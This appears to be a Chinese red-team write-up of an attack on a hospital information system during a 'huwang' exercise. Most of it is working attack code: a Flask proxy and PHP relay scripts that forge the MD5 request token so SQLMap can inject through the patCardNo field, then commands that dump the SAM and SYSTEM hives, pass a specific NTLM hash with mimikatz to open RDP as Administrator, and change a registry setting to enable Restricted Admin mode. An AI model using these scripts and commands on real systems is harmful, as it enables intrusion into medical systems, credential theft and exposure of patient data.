记某次护网中对HIS系统的审计

{    "hospitalId": "123",    "hospRegionCode": "XYZ",    "patName": "Alice",    "patCardType": "ID",    "patCardNo": "456",    "patType": "Inpatient",    "patMobile": "9876543210",    "guardName": "Bob",    "guardidType": "Passport",    "guardidNo": "789",    "source": "Web",    "code": "ABC",    "birthDay": "1990-01-01",    "oprId": "001",    "clientPw": "password",    "healthCardId": "HC123"}

{    "birthDay": "1990-01-01",    "clientPw": "password",    "code": "ABC",    "guardName": "Bob",    "guardidNo": "789",    "guardidType": "Passport",    "healthCardId": "HC123",    "hospitalId": "123",    "hospRegionCode": "XYZ",    "oprId": "001",    "patCardNo": "456",    "patCardType": "ID",    "patMobile": "9876543210",    "patName": "Alice",    "patType": "Inpatient",    "source": "Web"}

from flask import Flask, request, Responseimport hashlibimport requestsimport reimport urllib.parseapp = Flask(__name__)# 目标服务器地址TARGET_URL = "http://xxx.xxx.xxx.xxx"@app.route('/<path:path>', methods=['GET', 'POST'])def proxy(path):    # 获取原始请求参数    query_params = request.query_string.decode('utf-8')    original_url = f"{TARGET_URL}/{path}?{query_params}"    # 处理 token 和 patCardNo    patCardNo_match = re.search(r"patCardNo=([^&]*)", query_params)    if patCardNo_match:        # 提取并解码 patCardNo        patCardNo = patCardNo_match.group(1)        decoded_patCardNo = urllib.parse.unquote(patCardNo)  # URL解码        # 生成 token 的逻辑        token_base = "test" + decoded_patCardNo        token = hashlib.md5(token_base.encode('utf-8')).hexdigest()        # 添加调试输出以检查生成的值        print(f"[DEBUG] patCardNo: {decoded_patCardNo}")        print(f"[DEBUG] token_base: {token_base}")        print(f"[DEBUG] Calculated token (MD5): {token}")        # 替换请求中的 token 参数        query_params = re.sub(r"token=[^&]*", f"token={token}", query_params)        modified_url = f"{TARGET_URL}/{path}?{query_params}"    else:        modified_url = original_url    # 打印调试信息    print(f"[DEBUG] Original URL: {original_url}")    print(f"[DEBUG] Modified URL: {modified_url}")    # 转发请求到目标服务器    if request.method == 'GET':        resp = requests.get(modified_url, headers=request.headers)    elif request.method == 'POST':        resp = requests.post(modified_url, data=request.form, headers=request.headers)    # 将响应返回给 SQLMap    response = Response(resp.content, status=resp.status_code)    for key, value in resp.headers.items():        response.headers[key] = value    return responseif __name__ == '__main__':app.run(host='127.0.0.1', port=8088, debug=True)

<?php$url = "http://xxx.xxx.xxx.xxx/api/xxxx/BindUserCard";$sql = $_GET['s']; //获取中转脚本传过来的payload $s = $sql;$tokenseed = "test".$s;$token = md5($tokenseed);$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";$ch = curl_init();// 创建一个新cURL资源 curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址，可以在用curl_init()函数初始化时设置这个选项curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回，不自动输出任何内容。如果失败返回FALSEcurl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中，设置这个选项为一个非零值   curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载，下线，或者崩溃等可能状况。curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式curl_setopt($ch, CURLOPT_POSTFIELDS, $params);// 抓取URL并把它传递给浏览器 $response = curl_exec($ch);echo $response;// 关闭cURL资源，并且释放系统资源curl_close($ch);我们上面的场景是要求GET请求，简单改改就行，使用如下脚本：<?php$url = "http://xxx.xxx.xxx.xxx/api/Patient/BindUserCard";$sql = $_GET['s']; // 使用引号包裹 's' 以获取 GET 参数$s = $sql;$tokenseed = "test" . $s;$token = md5($tokenseed);// 将参数添加到 URL 中$params = "xxxx=&xxxx=&xxxx=&xxxx=&patCardNo=$s&patType=&patMobile=&guardName=&guardidType=&guardidNo=&source=&code=&birthDay=&oprId=&clientPw=&healthCardId=&token=$token";$request_url = $url . "?" . $params; // 构建完整的 GET 请求 URL$ch = curl_init(); // 创建一个新cURL资源curl_setopt($ch, CURLOPT_URL, $request_url); // 设置请求的完整URLcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // https请求 不验证hostscurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 将结果返回而不是直接输出curl_setopt($ch, CURLOPT_HEADER, 0); // 不包含头信息curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)'); // 自定义User-Agentcurl_setopt($ch, CURLOPT_TIMEOUT, 15); // 设置超时时间$response = curl_exec($ch); // 执行cURL请求if ($response === FALSE) {    echo "cURL Error: " . curl_error($ch); // 输出错误信息} else {    echo $response; // 输出请求结果}curl_close($ch); // 关闭cURL资源?>

reg save HKLMSYSTEM D:Sys.hivreg save HKLMSAM D:Sam.hiv

privilege::debug sekurlsa::pth /user:Administrator /domain:HIS_SERVER /ntlm:53fcac5a9fb07060869c08f77127e8e6 "/run:mstsc.exe /restrictedadmin"

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

REG query "HKLMSystemCurrentControlSetControlLsa" | findstr "DisableRestrictedAdmin"